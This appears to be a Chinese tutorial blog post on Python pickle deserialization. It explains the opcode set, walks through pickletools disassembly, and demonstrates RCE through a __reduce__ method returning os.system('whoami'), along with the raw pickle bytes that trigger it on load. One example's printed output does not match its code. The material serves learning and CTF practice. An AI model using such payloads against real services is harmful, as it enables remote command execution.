Python反序列化

什么是Python反序列化

        python反序列化和php反序列化类似,相当于把程序运行时产生的变量,字典,对象实例等变换成字符串形式存储起来,以便后续调用,恢复保存前的状态

        python中反序列化的库主要有两个,picklecpickle,这俩除了运行效率上有区别外,没什么区别

Python反序列化漏洞

pickle简介

        序列化:pickle.dumps()将对象序列化为字符串、pickle.dump()将对象序列化后的字符串存储为文件

反序列化:pickle.loads()将字符串反序列化为对象、pickle.load()从文件中读取数据反序列化

        使用dumps()与loads()时可以使用protocol参数指定协议版本

        协议有0,1,2,3,4,5号版本,不同的python版本默认的协议版本不同。这些版本中,0号是最可读的,之后的版本为了优化加入了不可打印字符

        协议是向下兼容的,0号版本也可以直接使用

        pickle实际上是一门栈语言,它有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式。

        和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容储存在如下两个位置中:

        ·stack 栈

        ·memo 一个列表,可以储存信息

        pickle的常用方法有

import pickle
 
a_list = ['a','b','c']
 
print(pickle.dumps(a_list,protocol=0))
 
pickle.loads() #对象反序列化
pickle.load() #对象反序列化,从文件中读取数据
 
 

 反序列化流程分析

        在挖掘反序列化漏洞之前,需要了解python反序列化的流程是怎样的

        直接分析反序列化出的字符串是比较困难的,我们可以使用pickletools帮助分析

import pickle
import pickletools
 
a_list = ['a','b','c']
 
a_list_pickle = pickle.dumps(a_list,protocol=0)
print(a_list_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_list_pickle)
print(a_list_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_list_pickle)
 
 

指令集如下:(更具体可以查看pickletools.py)

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding
TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py
 
 

 对照理解

b'\x80\x03](X\x01\x00\x00\x00aX\x01\x00\x00\x00bX\x01\x00\x00\x00ce.'
    0: \x80 PROTO      3	#标明使用协议版本
    2: ]    EMPTY_LIST	#将空列表压入栈
    3: (    MARK	#将标志压入栈
    4: X        BINUNICODE 'a'	#unicode字符
   10: X        BINUNICODE 'b'
   16: X        BINUNICODE 'c'
   22: e        APPENDS    (MARK at 3)	#将3号标志后的数据压入列表
   # 弹出栈中的数据,结束流程
   23: .    STOP
highest protocol among opcodes = 2
 
 

 再来一个

import pickle
import pickletools
import base64
 
class a_class():
    def __init__(self):
        self.age = 114514
        self.name = "QAQ"
        self.list = ["1919","810","qwq"]
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)
 
 

b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03M\xe5\x07X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00tmxq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x05\x00\x00\x00donotq\x08X\x06\x00\x00\x00givemeq\tX\x04\x00\x00\x00hopeq\neub.'
b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03M\xe5\x07X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00tmxq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x05\x00\x00\x00donotq\x08X\x06\x00\x00\x00givemeq\tX\x04\x00\x00\x00hopeq\neub.'
    0: \x80 PROTO      3
    push self.find_class(modname,name);连续读取两个字符串作为参数,以\n为界
    # 这里就是self.find_class('__main__','a_class');
    # 需要注意的版本不同,find_class函数也不同
    2: c    GLOBAL     '__main__ a_class'
   20: q    BINPUT     0
#    向栈中压入一个元组
   22: )    EMPTY_TUPLE
#    大意为,该指令之前的栈内容应该为一个类(2行GLOBAL创建的类),类后为一个元组(22行压入的TUPLE),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空)
   23: \x81 NEWOBJ
   24: q    BINPUT     1
#    压入一个新字典
   26: }    EMPTY_DICT
   27: q    BINPUT     2
#    一个标志
   29: (    MARK
#    压入unicode值
   30: X        BINUNICODE 'age'
   38: q        BINPUT     3
   40: M        BININT2    2021
   43: X        BINUNICODE 'name'
   52: q        BINPUT     4
   54: X        BINUNICODE 'tmx'
   62: q        BINPUT     5
   64: X        BINUNICODE 'list'
   73: q        BINPUT     6
   75: ]        EMPTY_LIST
   76: q        BINPUT     7
#    double mark
   78: (        MARK
   79: X            BINUNICODE 'donot'
   89: q            BINPUT     8
   91: X            BINUNICODE 'giveme'
  102: q            BINPUT     9
  104: X            BINUNICODE 'hope'
  113: q            BINPUT     10
#   将第78行mark后的值压入到第75行的列表
  115: e            APPENDS    (MARK at 78)
#   大意为将任意数量的键值对添加到现有字典中
#   tack before:  ... pydict markobject key_1 value_1 ... key_n value_n
#   Stack after:   ... pydict
  116: u        SETITEMS   (MARK at 29)
#   通过__setstate__或更新__dict__完成构建对象(对象为我们在23行创建的)
#   如果对象具有__setstate__方法,则调用anyobject.__setstate__(参数)
#   如果无__setstate__方法,则通过anyobject.__dict__.update(argument)更新值
#   注意这里可能产生变量覆盖
  117: b    BUILD
#   弹出栈中的数据,结束流程
  118: .    STOP
highest protocol among opcodes = 2

 漏洞分析

RCE:常用的__reduce__

        ctf中常见的pickle反序列化,利用的方法大多是__reduce__

        触发__reduce__的指令码为R

# pickletools.py 1955行
name='REDUCE',
      code='R',
      arg=None,
      stack_before=[anyobject, anyobject],
      stack_after=[anyobject],
      proto=0,
      doc="""Push an object built from a callable and an argument tuple.
      The opcode is named to remind of the __reduce__() method.
      Stack before: ... callable pytuple
      Stack after:  ... callable(*pytuple)
      The callable and the argument tuple are the first two items returned
      by a __reduce__ method.  Applying the callable to the argtuple is
      supposed to reproduce the original object, or at least get it started.
      If the __reduce__ method returns a 3-tuple, the last component is an
      argument to be passed to the object's __setstate__, and then the REDUCE
      opcode is followed by code to create setstate's argument, and then a
      BUILD opcode to apply  __setstate__ to that argument.
      If not isinstance(callable, type), REDUCE complains unless the
      callable has been registered with the copyreg module's
      safe_constructors dict, or the callable has a magic
      '__safe_for_unpickling__' attribute with a true value.  I'm not sure
      why it does this, but I've sure seen this complaint often enough when
      I didn't want to <wink>.
      """

        只要在序列化中的字符串存在R指令,__reduce__方法就会被执行,无论正常程序中是否写明了__reduce__方法

import pickle
import pickletools
import base64
 
class a_class():
	def __init__(self):
		self.age = 2021
		self.name = "tmx"
		self.list = ["donot","giveme","hope"]
	def __reduce__(self):
		return (__import__('os').system, ("whoami",))
		
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)
 
'''
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: q    BINPUT     0
   15: X    BINUNICODE 'whoami'
   26: q    BINPUT     1
   28: \x85 TUPLE1
   29: q    BINPUT     2
   31: R    REDUCE
   32: q    BINPUT     3
   34: .    STOP
highest protocol among opcodes = 2
'''
 
 

把生成的payload拿到无__reduce__的正常程序中,命令仍然会被执行

import pickle
import pickletools
import base64
 
class a_class():
	def __init__(self):
		self.age = 2021
		self.name = "tmx"
		self.list = ["donot","giveme","hope"]

		
a_class_pickle = pickle.loads(b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.')

 

 开摆了

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值